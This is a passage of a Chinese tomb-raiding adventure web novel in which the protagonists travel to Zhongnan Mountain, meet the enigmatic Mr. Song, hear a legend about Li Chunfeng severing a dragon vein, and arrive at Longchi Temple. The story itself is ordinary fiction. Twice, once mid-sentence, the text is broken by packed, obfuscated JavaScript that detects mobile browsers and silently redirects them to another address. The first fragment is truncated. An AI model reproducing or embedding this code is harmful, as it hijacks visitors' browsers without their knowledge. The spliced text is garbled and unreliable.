“你这说得是哪里话?降妖除魔本来就是我的职责,再说本来我就打算和你一起去古墓的,就算如今是个有机关的龙宫,我也一定会去收服那些虾兵蟹将。” 封鬼立马表态,这藏珍纳宝的龙宫可是百年一遇啊,他怎么能错过这么好的买卖?再说二叔将这件事交给自己了,陈三爷跟他爷爷又是世交,于情于理他也不可能放任陈晓不管啊。 陈晓又看看二胖,他早就兴奋的沸腾了,捋起袖子一脚蹬在板凳上就大骂: “我去!霍爷我TM白活了二十多年,这一回也算是赶上好时候了。管他是人是龙还是他娘的小龙人,霍爷我就TM大显身手来个孙悟空大闹天丑龙宫!” 说完二胖就打了个趔趄,封鬼见他是喝多了,连忙拽他坐下省得摔个狗吃屎。 解鸦门和陈老四也表了态,既然大家一路走到这了,那就一起去。封鬼心说这些人动机不纯啊,尤其是陈老四,之前还说过自己比不了他们年轻人经不起折腾古墓就不去了。 想来也是,都说人为财死,而且现在不只有无数财宝,还有长生不老药,这他娘的可是无数帝王几千年来一直在追求的神话啊!如果要是真的,那绝对值得为此拼命。 “那我们什么时候出发啊?这个五星连珠,阴气最重是什么时候?今年不就是龙年吗?” 解鸦门一连问了好几个问题,所有人都愣了一下。就连陈晓也没想到这阴气最盛之时到底是什么时候,感觉有些茫然。只见陈老四哼了一声,啧啧嘴慢悠悠的说: “五星连珠,壬辰龙年阴气最盛之时,指的不就是今年的中元节吗?” “中元节?那不就是五天之后嘛!” 道教的中元节,即是佛教的盂兰盆节,又是民间的鬼节,是道僧俗三流合一的传统大节。每年阴历七月十五那天,鬼门大开,阎王放出无数鬼魂游荡在人间。是中国祭祀的重要节日,也是一年中阴气最旺盛之时。 解鸦门一说是五天之后,二胖急了,一下子又站了起来。 “那还等什么?我们赶紧准备去西安吧!” 没人搭理他,东子跟他一样喝得有点多,不过脑子还算清醒,挤了挤眼对大家说: “今天太晚,到了景德镇也不会有机票。这么着,等会儿我就到网上给你们定票,你们好好休息一晚,明天一早我就送你们去景德镇。” 东子说的没错,再急也没有用,大家只好听他的,又聊了一会儿就各自回房。 二胖一躺到床上就睡了过去,封鬼跟东子一起在网上订好了机票,就去找陈晓还想问问一些想不明白的地方。 可是陈晓说身体不舒服,封鬼见他确实面色有些难看,心说这也难怪,一下子受了那么多的刺激,接收了这么多有关他爷爷的秘密,实在难以消化,就没有再强求也回房休息去了。 二胖醒来的时候,就看见封鬼坐在那儿盯着眼前的乌木盒发呆,里面放着那颗舍利子。 “哎!我说小封,你要是这么在意那破石头,干脆就去东山寺找那老和尚问个明白。别跟个怨妇一样,瞧你那眼珠子都要瞪出来了。” 二胖点了一支烟,见封鬼头都没抬一下,也不知道他听没听见自己的话,就又叫了一声: “哎,我说,这石头到底是干嘛用的?你倒是想出来没有啊?” 这回终于是有了反应,封鬼扭过头,似醒非醒的幽幽说了句: “这是佛骨舍利子。” “靠!我早就知道这是死人骨头。可那东山寺的老和尚给你这玩意儿干嘛啊?” “我想,这一定跟我爷爷有关。” 你爷爷?你爷爷不是早就死了吗?见都没见过,怎么就说跟他有关?二胖没好意思说出口,提人家死去的亲人本来就是很伤人的事。 也亏了他憋住没说,封鬼显然心情不怎么好,估计也是想到自己那未曾见过的爷爷了。 “二叔跟我说过,爷爷以前在一个庙里做法收妖,那里的方丈为了感谢他,就送了他一颗木檀珠,也说了一句‘五洲有石更难求’,前面还有一句,我就不记得了。不过二叔说那是五行珠之一的木行珠。” 封鬼说完,二胖转了转眼珠,一拍大腿。 “噢!我知道了,你爷爷那个木檀珠是木行珠,那你这个佛骨就是金行珠。你这是‘八方皆若金舍利’,你爷爷当时听到的肯定是‘八方皆若木檀珠’啊。一金一木,哎?那就是说还有水火土三行珠啊,不过,这五行珠到底是干什么用的?” 封鬼点了点头, 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“哎呀,这‘八方皆若’又是个什么意思啊?‘皆若’是‘都好像’的意思,那‘八方皆若’就是全世界都好像?也就是说,整个世界都好像是由五行珠也就是金木水火土组成的?这可是真理啊,咱们老祖宗不就是说天地万物都是由五行构成的吗?唉,可后面一句又是什么意思?‘五洲有石更难求’,难不成是说要想得到这五行珠十分困难?可你这金行珠不是人家主动交出来的嘛,我看一点也不困难啊……” 二胖在那自言自语的分析,封鬼有一搭没一搭的听,觉得也算有道理,却又觉得没这么简单。是不是真的应该去见一见觉海? 不过之前跟他闹成那样,实在是自觉理亏拉不下脸啊。哎,明天再说吧,过了今晚,还是理不出头绪,再去找他问问吧。 “……那咱们要是去那天丑龙王宫需要准备什么东西啊?哎,小封,小封?” “啊?” 封鬼回过神,二胖有点不耐烦的瞪着他。 “跟你说话呢,你准备怎么对付龙王宫里的恶龙啊?要带灵符吧,还有大蒜洋葱什么的。对了,还有十字架。” “你当是对付吸血鬼呢?我们不用神父那一套,根本就是作秀,屁点儿用都没有。” “那你用什么捉妖啊?就凭你那颗小邪牙?我看也就够给人家塞牙缝。” “你懂个屁,我们封家捉妖降魔,靠的就是封家人的封印。只有封家人才有,其他人谁也学不来。” “什么封印这么厉害?还是不外传的秘术啊?赶紧拿出来给我看看。” 封鬼白了二胖一眼,抬起胳膊,指了指自己的手腕。 “就是这个。” “啥?什么呀?”二胖没有明白,看了半天啥也没看到。 “血。” “啊?你说什么?” 二胖还是没搞明白,但是又好像明白了点什么。封鬼哼了一声,继续解释。 “封家的封印就是以血封鬼。百鬼不侵,驱魔辟邪。” “我去!真的假的?太TM牛掰了!”二胖一阵兴奋,眼睛都要喷火了。封鬼还没来的急鄙视他,就听他又说了一句话,差点没一拳揍了过去。 “那要是你们封家的小妞儿来了大姨妈,周围的鬼不全都翘辫子啦?” 二胖嬉皮笑脸,封鬼努力忍着自己的拳头,捏了半天,终于放弃。 唉,算了,狗改不了吃屎,你要让二胖正经哪怕一天,估计他情愿选择去跳楼还来得痛快。 “封家人只有我的血才有用。” “啊?!为什么?”二胖震惊,封鬼懒得跟他解释: “以后你就知道了。” “我去!厉害啊小封!没想到你还自带金手指!果然天选捉鬼人呐!厉害啊!啥时候搞只鬼来给我演示演示呗?你看我这招鬼体质,要不你先给我整一瓶的封鬼宝血给我防防身呗?等再遇到鬼怪什么的我直接把血往它身上一泼完事!” 二胖兴奋得直搓手,封鬼白眼道: “滚边儿去!你当自来水啊?还一瓶!我的血可是很值钱的!” “呵呵~开个玩笑嘛~兄弟我也不舍得给你放血啊。对了,盗墓都需要什么装备啊?真要洛阳铲吗?我说就靠咱们这几个人还能把整个村子给挖了?” “这你就甭操心了,屠乌和金兜那可都是盗墓的行家,有他们准备就行了。” 封鬼看了看手表,晚饭时间到了,就不想再跟他扯皮,站起来向门口走去。 “我要去吃饭了,你自己在这琢磨吧。老子不伺候了。”说完就开门走了。 “靠!你TM等等我啊!”二胖赶忙套了裤子追上去。 饭已经摆好了,不过就只有东子和解鸦门,陈晓和陈老四都没出来,说不舒服就不吃了。 15. 【15】萌新与大佬的初遇 这顿饭吃的没什么兴致,大家都草草了事。二胖见解鸦门也有点无聊,就问她盗墓都需要什么工具,鸦门见他感兴趣,就给他简单说了说。 “这挖墓啊,一定要多带些专业趁手的兵器,什么洛阳铲、登山镐、炸药、□□、矿灯、冷焰火、信号弹等等等等必备品自然少不了,还要准备驱鬼辟邪的物件以防万一。 既然是个王爷墓,难免没有陪葬的,那枉死的冤鬼肯定不计其数,墓中的恶鬼与僵尸也不在少数。为了防止邪祟作乱,还需要红线五帝钱与朱砂苻印,陈年糯米与大蒜也需要准备一些,这都是辟邪的东西。 不过最重要的还是摸金符与发丘印,摸金符是摸金校尉盗墓时用来避邪的,发丘印则是发丘中郎将的。” 二胖连忙问什么是摸金符和发丘印,鸦门就说摸金符是用穿山甲的爪子做成的避邪神器,符上刻有“摸金”二字,相当于摸金校尉的官方身份识别证,只有辈分很高的人才能佩戴。 而这摸金符必须是古代传下来的才是正宗,现在做的不起任何作用。发丘印则是一枚手掌心大小的青铜印章,背部铸着立体的兽头,印上最初刻的是“百无禁忌,诛邪回避”八个字,后来又改成“天官赐福,百无禁忌”,出自旧年画上面拿福字的官老爷“天官赐福”与贴在门上驱邪纳福的横条“姜太公在此,百无禁忌”。 二胖对这些听得倒是认真,也不知是对摸金符感兴趣还是对解鸦门感兴趣,问东问西的,鸦门也不烦他,都仔细给他讲了。 反正人家有了话题,聊得也投机,封鬼也不想去打扰,正好给二胖一个表现机会,就拉着东子去别处逛去了。 … 第二天一早东子就叫醒大伙准备出发。到了村口经过东山寺,封鬼犹豫了一下,就让大家等他一下要去找那觉海老和尚问问佛骨舍利的事。 没想到寺里就剩下一个小和尚看守,说他家住持去云游了,也不知道去了哪里,何时才会回来。 二胖直说那和尚是故意躲起来的,怎么可能这么巧就去云游了。说不定根本就没出去,就藏在屋里闭门不见呢。 封鬼有点郁闷,东子就说封老板您别操那心,这事就交给我了,等觉海大师回来我去问了,问到了就立刻联系你。 也没有别的办法了,封鬼只好依从。一行人又是折腾了大半天到了南昌机场,陈晓照样是晕车吐了好几回。解鸦门就说你这男人太没出息,一点儿苦也吃不得,等到了西安还有你受的。 回到北京,大家各自打道回府收拾行囊,约好明天在机场碰头。二胖随便扯了个谎跟家里交代一番,等第二天到了机场,几人碰了面,坐了一个半小时的飞机到了咸阳,又倒动车去西安,最后坐大巴到了长安县城。 由于终南山太乙宫汤土村地方实在太偏,根本就不通车啊,几人只好找了辆正好去村里的卡车,给了人几百块钱,才拉着他们到了地方。 一到地方解鸦门就打了通电话,然后他们就准备去找那个陈三爷安排的接应人。不过他们这么大动静,村子又小没有几十户人,风声早已传到了那个接应人的耳中,还没等她们去找,人家已经寻上门来了。 “是陈三爷家里的人吗?”一个苍老的声音从人群中传出,封鬼寻声望去,就见一个二十出头的小伙子搀着个头裹毛巾的陕西老农朝他们走了过来。 众人忙迎了上去,还没开口询问,那老农来回看了看他们就继续问: “哪位是陈家小三爷啊?” “老大爷,我就是陈三爷的孙子陈晓。” 陈晓走上前,老农哦了一声,点着头拉住了他。 “小三爷,老孙头我可算是把你给盼来了。二十五年啊,我在这等了你整整二十五年啊。” 老孙头说着就流眼泪,用布满老茧和皱纹的手紧紧握着陈晓的手,几人都有些惊讶,心说这陈三爷可真是老谋深算啊,竟然在二十多年前就安排了一个人在这等自己的孙子,看来他早就知道了铜镜上的秘密,找到龙王宫的位置。可叹这老孙头什么都不知道,就这样空等,实在是够难为他的了。 “大辰子,来,小三爷,这是我孙子大辰。”老孙头拉过身边的小伙子,那大辰子皮肤黑黝黝的,个子也不高,又不说话,只是盯着陈晓看。陈晓对他笑了笑,他只是微微点了点头,就没其他反应了。 老孙头说完就拉着陈晓就往村子里走。 “走吧,咱们回家,跟你们一起来的已经住在我家了,等把你们安顿好了就带你们上……” “孙大爷你说什么?跟我们一起来的?”陈晓纳闷,看了看鸦门,鸦门忙摇头耸肩,表示不知道。 “我刚打了电话,他们还在路上,还要过两个小时才能到。” 封鬼和二胖被陈谢二人的对话搞晕了,怎么回事?跟他们一起来的还有别人? “哦,是我答应的,鸦门带了一支专业的队伍,还有很多的装备,上不了飞机和火车,昨晚就开车过来了。” 陈老四忙解释说,封鬼点头,明白了缘由。这盗墓工程量那么大怎么可能就他们几个人呢?本来还好奇陈老四他们轻装上阵,没想到暗里派了车队过来。估计他们也是怕自己会反对,才会瞒着他。 不过再一想自己毕竟是外人,又是为他们办事,这其他的安排他们确实没有必要和义务告诉自己,而自己也没有兴趣知道。 “啊?那现在在老孙头家的又是谁啊?”二胖提着嗓子问,老孙头有点儿摸不清状况了。 “他们不是小三爷的人?一共四个男的还有一个男娃,我就说怎么小三爷还带着男娃来啊。” 老孙头在那嘀嘀咕咕,大家也都是纳闷,突然二胖打了个响指说: “哦!原来是他们!” 封鬼连忙问是谁啊,二胖摇了摇头,叹气道: “说你脑子不好使吧,怎么转不过来弯儿呢?四个男的再加上一个男娃,不就是宋江那帮四方神嘛。” 封鬼这才恍然大悟,原来是他们啊,怎么就忘了他们也来到这里了。 可是他们又是怎么知道老孙头就是三爷的接应人的?难不成也跟刚才一样老孙头自己迎上去的?可之前不是还有一个女的跟着吗? 二胖就说也许那姓江的洋妞有事儿没来,连连叹气说可惜了,见不到洋妞的美色了。 “那我们就赶紧去,让霍爷我会会那帮装神弄鬼的真面目!” 二胖跟要上前线打仗一样冲在了最前面,也不管究竟该往哪里走才是老孙头的家。 到了村里唯一的一栋二层楼房前停下,老孙头说这就是他们的家,是二十多年前三爷出钱给盖的,让他开客栈谋生。 可这汤土村穷乡僻壤的,好几年都不见来几个外省的游客,这楼房也就闲置了。如今他们来了,正好腾出来给他们落脚。 一进院子,就看到有个男的带着个不到十岁的小男娃在墙根儿下的井边打水,那男娃长得十分俊俏,浓眉大眼,白白嫩嫩,光着双脏兮兮的小肉脚丫坐在石阶上直往男人身上泼水。 不过那男的倒也是好脾气,不打也不骂,抓起男娃的脚就放进水盆里,一声不吭的给他搓脚丫子。 见封鬼他们来了,男的连忙站起来,脸上有点儿不好看。老孙头一下子就上了脾气,举着拐杖迎了上去骂道: “得想乃打?你怂得是想跌活?把你pia擦咧!大撒头碎钩子,阿达娃阿达发七!” 骂的是陕西土话,封鬼也听不懂说了什么,不过肯定是没好话啊。那男的也是听不懂,又跟个闷瓜一样一声不吭。男娃倒是机灵,一个鲤鱼打挺跳了起来,跑到老孙头面前笑得乖巧。 “孙爷爷,您怎么了?累不累啊,阿龙去给你倒杯水喝。” 老孙头见这个娃子就是喜欢,立马变了脸,摸着他的头就说: “阿龙乖,你们老板呢?把他叫出来,给我把话说清楚了,你们到底是哪儿的人。小三爷可就在这儿了,有种给我出来当面对质!我老孙头骨头硬的很,不是那么好欺负的。” 老孙头说完就开始喘气。阿龙踮起脚伸出小爪给他拍拍胸口,就冲那男的说: “朱雀,你去请老板过来吧。” 这句话说的跟命令一样,这小娃子简直是少年老成啊,完全不像是一个七八岁小孩子应该有的心智。 朱雀依言,却还是没说话,就点了点头转身朝楼梯走去。老孙头请封鬼他们进了一层的大厅坐着,让大辰子去烧茶,给阿龙拨了个香蕉,就对陈晓说: “小三爷,等会儿见到他们当家的您多担待,这娃乖的很,不干他的事,你可不要迁怒他。” 陈晓刚想说话,就见那男孩走了过来,盯着他旁边的封鬼一直看,看得封鬼都不自在了起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391835|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“小娃子,你盯着他看做什么啊?又不是美女,看多了会做噩梦哦。等有机会霍爷带你去见识见识,什么叫做花花世界。” 封鬼见二胖又在那调侃,连小朋友都不放过,使了个眼色让他消停点儿。男娃没理他,就还是盯着封鬼看。封鬼觉得有点儿不对劲啊,这男娃的眼睛好像不是在看自己,倒像是在看着他的身后? 怎么,他身后有东西吗?猛的一回头,什么都没有,空空一片。 正纳闷着,门口的楼梯上就走下来一个人,是之前那个朱雀,紧跟其后的又是两个男的,其中有个留着小胡子,封鬼猜他们就是玄武和白虎。 最后下来的是个穿着黑衬衫西装裤的男的,竟然还打着领带。封鬼咋舌,心说他不嫌热啊,捂得这么严实,今天那么高的气温,这里又没有空调,连汗都该馊了。 这应该就是那个神秘的宋老板了吧,他一出现,大辰子就往后面缩了缩,好像跟见了鬼似的。 陈晓应该也猜到他是谁了,决定开门见山,迎上去就说: “我就是陈晓,你到底是谁?为什么假装是我们的人,你和我爷爷是什么关系?” 陈晓一连问了好几个问题,那男的面无表情,许久说了句: “我对你没兴趣。” 陈晓有点无语,心说我干嘛要你对我感兴趣啊?这简直就是答非所问。不过他还是不得不问: “那你来这干嘛?” 那男的看向封鬼,封鬼吓了一跳。再向两边看去,好像他手下那三个男的都在看着自己,似笑非笑的。 我去!这到底什么情况?封鬼咋舌,难不成这男人是为了他来的? “我说小封,原来你跟人家认识啊,见了故人怎么不打招呼啊?”二胖又开始见缝插针,封鬼烦得要命,瞪了他一眼。 “你胡说什么?我不认识他。” “我们合作。” 那男的终于看向陈晓,半天吐出四个字。陈晓皱了皱眉。 “怎么合作?” “没有铜镜,你进不去。” 这男的真是惜字如金啊,一点儿废话也不多说,可句子太短,说的又有点令人费解。陈晓愣了一下才反应过来,诧异的低声问道: “铜镜在你那里?” 那男的点了点头,一点儿表情变化都没有,跟刚出场一样,果然是个面瘫啊。 “你从哪得到的?”陈晓连忙问。 “陈三水。” “我爷爷?” 陈晓大吃一惊,其他人也都感觉不可思议。 “不可能,我爷爷,我爷爷怎么会……”怎么会把这么重要的东西给一个外人呢?再说老张也没有提起过啊。 “信不信由你。” 那男的不想再多做解释,干脆坐下来点了根烟抽了起来。陈晓更加糊涂了,完全不知道谁是谁非了。 “我去,这事儿是TM越来越玄乎了,三爷到底整的哪出啊?半路竟然杀出个程咬金,哎,鹿死谁手,就看谁本事大了。”二胖小声嘀咕,封鬼没理他,见陈晓继续追问: “既然铜镜在你手里,那你怎么不去地宫,干吗在这等我们?” “不知道入口在哪。”回答的倒是干脆。 “地图在镜子上刻着呢。”陈晓冷哼一声。可算是抓住漏洞了吧,就说他是骗人的,既然有铜镜就肯定知道地宫在哪儿啊。 “被抹掉了。”男人幽幽吐出一口烟,好像事不关已,说话也没什么力气。 陈晓好像被他的态度激怒了,提高了声调不耐烦的问: “你到底是谁?” “你不认识我。” 我去!这TM废话!陈晓差点就骂了出来。 “我们老板姓宋。”小胡子笑嘻嘻的友情提醒,可对陈晓来说还是句废话。 “……宋先生,我不管你是什么目的,既然镜子在你手里,我答应与你合作。” 姓宋的似乎早就料到陈晓会答应,没什么过多的反应,又喷了口烟转头对老孙头说: “他答应了,走。” “走?走哪儿?”陈晓忙问,其他人也诧异的看着老孙头。 “小三爷,我这就带你去一个地方,这个地方只有见了你才能去。三爷交代的,除了你我谁也不能说。” “什么地方?” “龙池寺。” 16. 【16】又拽又闷小白脸 天色还早,老孙头说现在就带他们去龙池寺,让大辰子留在家里等解鸦门那支车队。大家简单收拾了一下,带上手电筒和水壶就出发了。 陈晓扶着老孙头走在最前面,解鸦门和陈老四紧跟其后。二胖跟封鬼在一边儿嘀嘀咕咕,看着那帮四方神跟在姓宋的两边,真像是□□老大的感觉。 “我说这宋阿拽到底是什么来头啊?怎么连猫狗见了他都吓跑了。” “宋阿拽?”封鬼一愣,二胖笑嘻嘻的说: “你看他那拽的二五八万的样儿,真当自己是大爷啊。面瘫的一点儿表情都没有,整一个黑煞星,叫他阿拽还抬举他了呢。” “人家又没得罪你,至于说得这么难听么。” “哎呦,这还护短了哈?怎么,看上那小白脸了?要不霍爷帮你撮合撮合?” “滚。” 二胖笑得一脸□□,封鬼一巴掌招呼上去,被他躲了。 “哎呀,要我说,这宋阿拽肯定就是个□□大佬。你看那娃娃也不学好,这么小就当小混混。那个姓江的洋妞肯定是他的情妇,两人因为债务问题就来盗墓取财。” 二胖特别看不惯比自己拽的人,不就是长得帅点儿再扮酷装逼,有什么了不起的。 “你电视剧看多了吧。”封鬼揶揄,二胖大骂: “霍爷我最讨厌看电视剧!屁大点儿的事磨磨唧唧能演好几十集!还是好莱坞大片儿刺激。人活着不就那么点事儿么,你说整那么多铺垫演这么些废话有啥可看的?” “就你废话最多!你要是当导演,能把西游记拍十万八千集!” 封鬼懒得再听他扯啊,这脑袋都大了。二胖见没趣,就找解鸦门去搭讪,一路上各种冷笑话黄段子就没停过。人家鸦门小姐还算对他客气,没怎么局他面子,不过封鬼算是看出来了,这解鸦门一路上时不时的盯着那宋阿拽看,那目光里分明有一些特殊的东西存在,反正绝对不是对二胖能有的。 封鬼就好奇,顺着鸦门的目光也去看那宋阿拽,却发现他正毫无避讳的盯着自己,一点儿也没有被人抓包的尴尬,连眼睛都不眨一下,分明还透着骨阴冷的寒意。 封鬼脖子一哆嗦,愣是吓出层冷汗来。不会是自己看走眼了吧?他没得罪那宋阿拽啊,干嘛用那种阴狠的目光看着自己? 封鬼感觉十分莫名其妙,抹了把额头上的汗甩在地上,真热啊。哎?不对,那宋阿拽穿这么多,好像一点儿汗都没出啊? 想到这就又回头看,这回他倒是没有再看自己了,不过封鬼确实看到他的脑袋上是一点儿汗都没有,再看旁边的四个手下,都是满头大汗,连衣服都湿透了。 这还真是奇了怪了!难道他不觉得热吗?怎么一点儿汗都不流呢?难不成是冷血动物?想来想去想不明白,封鬼也懒得再想了。说不定人家就是这么个特殊的体质呢,这大千世界无奇不有啊。 老孙头带着他们经过村子旁边的田地,沿着草丛里踩出来的山路爬上了村后的大山。一路上是郁郁葱葱灌木茂密,空气里弥漫着牛粪的味道,知了在大树上叫个不停,显得天气更加燥热。 老孙头说这只是终南山北麓下的一片小土坡,村里人都叫它蛟盘山,还要再往上走两个钟头,翻过这座山头,才算是真正进入终南山。 “别看这山小,前几年山里还有熊瞎子和鹿呢。村里就有一个上山采五味果的,碰到熊瞎子了,一巴掌就把他半边儿脸呼没了,被人救回到村子没两天就死了。” 老孙头在那讲村子里的奇闻异事,二胖累得直喘气,骂骂咧咧的说这要也算小土坡,那香山岂不就是块大点的石头。 封鬼见老孙头这么大把年纪爬起山来竟然还不喘,跟他比起来自己和二胖简直就是丢人现眼。就问老爷子是不是经常爬山。老孙头十分自豪的说那可不是,龙池寺里的和尚几年不下一次山,都是自己种菜吃,他以前每个月都要上两次山给他们送米面,有时候做了面条馒头饺子也要经常送去的。现在年纪实在太大了,只好让大辰子替他送,不过那小娃子顽劣的很,有两次偷懒没去送,把粮食都仍在半路了,害得寺里的和尚饿了整整两星期实在受不了了才下山。 二胖就问那寺里有几个和尚,老孙头说就只有一个,二十多年前还有一个,死了,现在就只一个。寺庙太高太偏,没人愿意去,香火也少的可怜。 又有人问这寺庙是什么时候建的,老孙头咳嗽了两声,停下脚步,指着前面山坡上一个独立的残破石砖塔说: “这就是二龙塔,与那龙池寺一样,是唐太宗建的。” 众人一惊,都走近去看那石砖塔。经过千年的风吹雨淋,下面几乎都腐蚀空了,从远处望去就像是只螃蟹钳子倒插在地上,又像一个被老鼠啃得快倒的半截竹笋。 这二龙塔可以说是几经兵火,从宋朝到文/革时期,不少人视他为改朝换代的阻碍,都要拆了,却因为各种原因得以幸免保存至今。 “那为什么叫二龙塔?难道塔下面有两条龙啊?”二胖抬着手边给自己扇风边喘气。 “这小哥说的不错,地下确实有龙。这塔也有大小两个,这个是大的,压着龙尾,天池寺里还有个小的,压着龙头。” 众人一听地下有龙,都是一惊。难不成那龙就是天丑龙肆?忙问是怎么回事,就见老孙头找了块石头坐下,叹了口气说: “这条龙可是我们长安的龙脉啊!可那李淳风为了讨好唐太宗,说这龙脉会威胁他李氏江山,就找人把这儿的龙脉给毁了!” 老孙头说,当年唐太宗李世民随带下大夫李淳风来终南山避暑,某一日下山来到汤土村游玩,李淳风看着蛟盘山就对唐太宗说他发现长安一带龙脉非凡,不久之后会出很多大官,万岁的江山要落在长安人之手。李世民大惊失色,就问李淳风有什么破解之法。 李淳风就说,此处有二龙龙头盘错于山顶,要破长安龙脉,必从龙头向下挖十丈零八尺深井,掏尽龙脑,修宝塔一座在龙头一座在龙尾,塔上的砖一页不多,一页不少,正好一砖压长安一官,让二龙永世不得翻身。如此,长安龙脉自破。 李世民点头称赞,立即回朝招来能工巧匠日夜赶工修建二塔,又在龙脑上的塔下挖了眼十丈八尺深井,李世民叫当地百姓都来井中取水掏尽龙脑。而后李世民还不放心,又在龙头上建了寺庙镇压二龙,取名龙池寺。 从此以后长安龙脉果被斩断,本该成为王侯将相之人,都丧失仕途,没一个能当大官的。 老孙头讲完,大家都连连称奇啊。也不知这个故事是不是杜撰,不过无风不起浪,既然有传闻,那就肯定与那天丑龙肆有关。这终南山下有龙王宫的说法,大家又都坚信了几分。 封鬼不经意的扭头,发现那宋阿拽竟然独自一人站在离大伙很远的灌木丛旁,也不知道是什么时候过去的。 就见他仰着头发呆,肩膀上落了好几只麻雀,呆头呆脑的立在那里,也不知在想些什么,又在看些什么,就好像这天地间万物都与他毫不相干一样,那种空灵的感觉让封鬼恍惚间觉得他有可能下一秒就会在风中消失一样。 封鬼摇了摇头,暗自好笑,他这副尊荣要是让二胖看见了,或许又要给人家改名,不叫宋阿拽,要叫宋阿呆了。 休息片刻之后一行人又开始动身赶路,走了1个多小时,太阳也快下山了,夕阳照在身上更是热得难受,也就没有人愿意说话。二胖耐不住寂寞,喝了口水就冲走在前面的人喊。 “唉!我说,这龙脉到底是真还是假啊?都说中华的龙脊梁骨是昆仑秦岭一线,四爷你可是风水的大家,没事儿给我们讲讲呗,让我也长长见识。” 封鬼心说你这又是没事找事,人家都累成那样哪里还有心思给你讲这个?没想到陈老四走到二胖身边,说: “霍老弟对这个感兴趣?成,那我就讲讲,就当是解闷。在这的诸位都是行家,我陈老四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391836|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是说的不对多多担待啊。” 封鬼心里一笑,心说这风水之事无真无假,只有信或不信,说的对不对又有什么定论?只要能唬得天花乱坠,自然会有人买账。 只见陈老四吞了吞喉咙,摆出一副给人看风水的高人模样,看着远处的山脉,开始耍嘴皮子了。 “风水中最上乘者为龙楼宝殿,龙之起祖必为高山,尖者为龙楼,平整为宝殿。而北昆仑是龙脉发作之太祖山,中华所有的龙脉皆发源于最北的昆仑山,按照道教的颠倒罗盘术,北属地煞,又称黑水阴水,是最接近死亡的鬼方,自然充满暴戾张狂之气。而南属天罡南天门,所谓北地煞南天罡,地煞黑水流入南天门,便是北龙脉张狂发作,风水能量势不可挡,因此才能一统中原啊。 所以每次外族入侵只要是从东北西北进入就会成功。什么亚历山大,什么蒙古帝国、满洲皇帝,不都是成功建立了王朝。也正因为如此,每朝天子据守北方,是要镇煞。不信你去看历史,只要是据守南方的皇帝,都是短命,因为那里开不了国运,你做天子,代表了中原的气数,不去北煞镇守反而跑到别的地方,怎能不失天位,怎能天人合一? 这终南山属于秦岭啊,秦岭在古代就被称为昆仑山,那也是大龙脉啊,所以李淳风才看到此处的龙头就慌了,因为他知道如果不镇,早晚都会发作。所以建塔修庙,毁了此处的龙脉,这可是损阴德的事啊。” 陈老四就一直在那高谈阔论,管他是也非也,倒是能打发时间。二胖倒是听得津津有味,时不时还问东问西。 封鬼出现了轻微的高原反应,不过好在很快就适应了,等他们翻过山头,到了更高的山体。只见远处山峰青翠峭拔,再加上斜阳残照,又有薄雾缠绕其间,就像裹了一层金缕玉衣,好一幅瑰丽雄壮的山河社稷图啊。 面对如此震撼人心的自然景观,二胖忍不住高声道: “北国风光,千里冰封万里雪飘。江山如此多娇,引无数英雄尽折腰!数风流人物,还看我霍爷……今朝!” 封鬼扭头看了看他,皮笑肉不笑的打趣说: “你不是最瞧不起文人的吗?怎么自己念起诗来了。” “哎呀,我这不是一激动有感而发嘛。哎,我说怎么这么多人想当皇帝,今天我算是明白了,这么些大好河山都属于自己,就他娘的威风!霍爷我要是做了皇帝,带着三千佳丽游遍大江南北,就算只有一天那也值了!” “哼,就你啊,绝对是个昏庸无道的纣王。” 大家都跟着笑,又走了大概二十分钟,趟过一片溪流,眼前出现几棵高大的千年老柏树,树后面就是一座寺庙,门匾上依稀可见“龙池寺”三字,门墙都是年久失修的斑驳样貌。 “哎呦!可算是到地方了。”二胖哎呦一声,有气无力的爬进庙门,一屁股坐倒在地。院子中央立一石塔,比半山腰的那座要保留的完好许多。塔下有一井,封鬼凑近去俯身观望,发现里面竟然还有水,本以为这是个枯井呢。 “大家在这里等一下,我去叫静远师父出来。”老孙头说完就拄着拐杖走向大殿后面。 众人在寺里到处观看,发现实在没什么好看的,除了几间荒废的禅房,就只有大雄宝殿还稍微像个样子。 过了大概五六分钟,老孙头才出来,旁边跟着个饱经风霜的老和尚,一身僧袍脏兮兮的,上头全是泥土灰尘。陈晓心里动容,十分可怜这孤苦伶仃的老和尚,心说等完事之后一定出资将这里整修一番,再请几个小和尚来照顾他。 “小三爷,你来,这位就是静远师父,龙池寺的住持。” 陈晓刚想上前问好,就见那静远呆立在原地,怔怔的看着自己,也不知道怎么搞的,突然就哭了。 所有人都不知道发生了什么,有些莫名其妙。没想到陈老四见了那和尚,竟然也变了脸,摘下复古小圆片墨镜,走上前激动的叫了一声: “祥子?!” 17. 【17】二十五年前的地狱诅咒 众人一听陈老四叫那和尚祥子,都愣了一下,心说难道他们认识?可也没听说陈老四来过这龙池寺啊,他又是怎么认识这住持的,难不成是认错人了? 再去看那和尚的表情,竟然也发生了变化,原本还在掉眼泪,见了陈老四之后就慌忙擦起脸来,显然对他的出现始料未及之余又有些惊慌失措。 “祥子,是你吗?”陈老四走上前又问了一声,老和尚盯着他看了半天,眼里包涵了太多的复杂情绪,让人根本看不懂。不过他的这种表现也说明,二人确实是认识的。 “叔公,你们认识?”陈晓站在一旁轻声问了句,那老和尚肩膀一抖,又来回看了看陈晓和陈老四,终于像是下了艰难的决定一样,冲陈老四幽幽叫出两个字: “四叔……” 